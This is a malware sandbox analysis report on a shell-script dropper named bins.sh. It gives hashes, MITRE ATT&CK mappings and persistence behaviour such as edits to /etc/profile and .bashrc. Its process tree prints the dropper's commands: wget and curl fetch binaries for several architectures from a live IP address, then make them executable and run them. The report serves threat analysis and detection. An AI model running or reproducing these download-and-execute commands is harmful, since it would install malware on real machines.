522ab5263da1883e27cb376b5ac300debf0214a201710140280a3517e8207ded

Analysis

max time kernel
149s
max time network
148s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
16/09/2026, 11:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 1KB
Sample260916-m62evsxtew
SHA256 522ab5263da1883e27cb376b5ac300debf0214a201710140280a3517e8207ded
MD5 ecfc505d1a4edb4642d7a5e9d4fd5b61
SHA1 e3ae125455d0c5b008c984a0c9da1031d5b15145
SHA512 748acb786b6ab1e7ef19e6962e82d43de028f085984134deb311d514344c989519091390b63c47bec837bbd498ac3cf26adcdcf7d52c170d3e1c20519508aa88
TLSH
T11E41878B22E094B3C46DED41F35594C4E0995AE361E79EBCF8AC55E2489940CF3B6B60
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
676	chmod
725	chmod
731	chmod
766	chmod
771	chmod
777	chmod
782	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/x86	677	bins.sh
/tmp/x86	726	bins.sh
/tmp/i386	732	bins.sh
/tmp/i386	767	bins.sh
/tmp/amd64	772	bins.sh
/tmp/amd64	778	bins.sh
/tmp/arm	783	bins.sh

Creates/modifies environment variables 1 TTPs 3 IoCs

Creating/modifying environment variables is a common persistence mechanism.

persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable

T1574.007

description	ioc	Process
File opened for modification	/etc/profile	arm
File opened for modification	/root/.bashrc	arm
File opened for modification	/home/user/.bashrc	arm

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/test_write	arm
File opened for modification	/usr/bin/sysd	arm

Modifies Bash startup script 2 TTPs 3 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/etc/profile	arm
File opened for modification	/root/.bashrc	arm
File opened for modification	/home/user/.bashrc	arm

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	arm

Reads runtime system information 6 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/amd64	curl
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/i386	wget
File opened for modification	/tmp/i386	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:648
- /usr/bin/wget
  wget http://176.65.139.220/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:650
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/x86
  ./x86
  2⤵
  PID:677
- /bin/rm
  rm -f x86
  2⤵
  PID:679
- /usr/bin/curl
  curl -O http://176.65.139.220/x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:680
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/x86
  ./x86
  2⤵
  PID:726
- /bin/rm
  rm -f x86
  2⤵
  PID:728
- /usr/bin/wget
  wget http://176.65.139.220/i386 -O i386
  2⤵
  - Writes file to tmp directory
  PID:729
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/i386
  ./i386
  2⤵
  PID:732
- /bin/rm
  rm -f i386
  2⤵
  PID:734
- /usr/bin/curl
  curl -O http://176.65.139.220/i386
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/i386
  ./i386
  2⤵
  PID:767
- /bin/rm
  rm -f i386
  2⤵
  PID:769
- /usr/bin/wget
  wget http://176.65.139.220/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:770
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/amd64
  ./amd64
  2⤵
  PID:772
- /bin/rm
  rm -f amd64
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://176.65.139.220/amd64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/amd64
  ./amd64
  2⤵
  PID:778
- /bin/rm
  rm -f amd64
  2⤵
  PID:780
- /usr/bin/wget
  wget http://176.65.139.220/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/arm
  ./arm
  2⤵
  - Creates/modifies environment variables
  - Write file to user bin folder
  - Modifies Bash startup script
  - Enumerates kernel/hardware configuration
  PID:783

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

amd64

Path /tmp/amd64
Size 4.7MB
SHA256 9ef5ad92f3d681ad3509f94ad3a4d27f10d40ec054e8a0533c45a248e4b009d5
MD5 b7ad132fe224584270e363713d1b62b4
SHA1 7f268d06069668243ad4590f8643cf6431a8a115
SHA512 08a97a57a553717cb3d75700250a391ffedbee4dfbf9a8d68b36804fd8ea7d579bf3841a22b852cc3361f756c6b92311baa5837010f72447e5fcb0dbec79e243
SSDEEP 49152:BNs3fwQmihXexbKJQqZLrvCyyUV28j5EE9VSgdv2fZwl+IKTA/:amihIeVvCyvVBE68I
TLSH
T103363A17EC9586E9C0AAE130C9629253BE717C495B3023D72F50F7782F72BD0AAB9744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 4.6MB
SHA256 601d830aab39745760acd6142a5ba3ee67a1a0ad59d49d79a840b3a6aaabd7be
MD5 8791f6690faf01b4f44d696589252ed7
SHA1 612c8ce3a9c5ea70efc1bf15cfd917b28b12bf89
SHA512 eaac35f7022935b9c7e119627c59ac68ac541f4dbb272d2d8ed74ff737d3aa22217094b3b6cbfac7bd6b2b73cff950d50271102cd68713be07496b3e16e44c45
SSDEEP 24576:/B3qLam87be+o9Ylfwks9hc4XSu3+eVyVPc5jYnUGvFlzYij/h8pgNExsix67E5l:/66FkUPp6P+gb8TieaoYRr4DSz
TLSH
T1D1260997B8924983C4E42676BCBE80C433635EFA9B9753566D04FE3C3ABE1990E35704
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 4.6MB
SHA256 bc1b5337acaf45129b9752bf96375e8d588cf0b806b4635790ebe74f6e862275
MD5 cf2e990955817a7243af4d50a54e1d00
SHA1 376e9066dd747e301bdc320516eb2acb33c349bf
SHA512 d2d08fdab75884cc8517568ae902b1772d09979f9c987a17197533f6cc0f5e8e61b01da445c449445f2cf2ea4abc881295bec68865ff437249ea6fed8e8e747a
SSDEEP 49152:EnVxX4AGLQxe/xar+H3xvoDRmNCF/cti2EaMjr9nvGcnGRMY:+VCl0r+H3xvMmZMl7G
TLSH
T18C261850FACB84F6E9031A3044AFA27F67315D058B25DBC7EA507F2EE9376D61936208
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads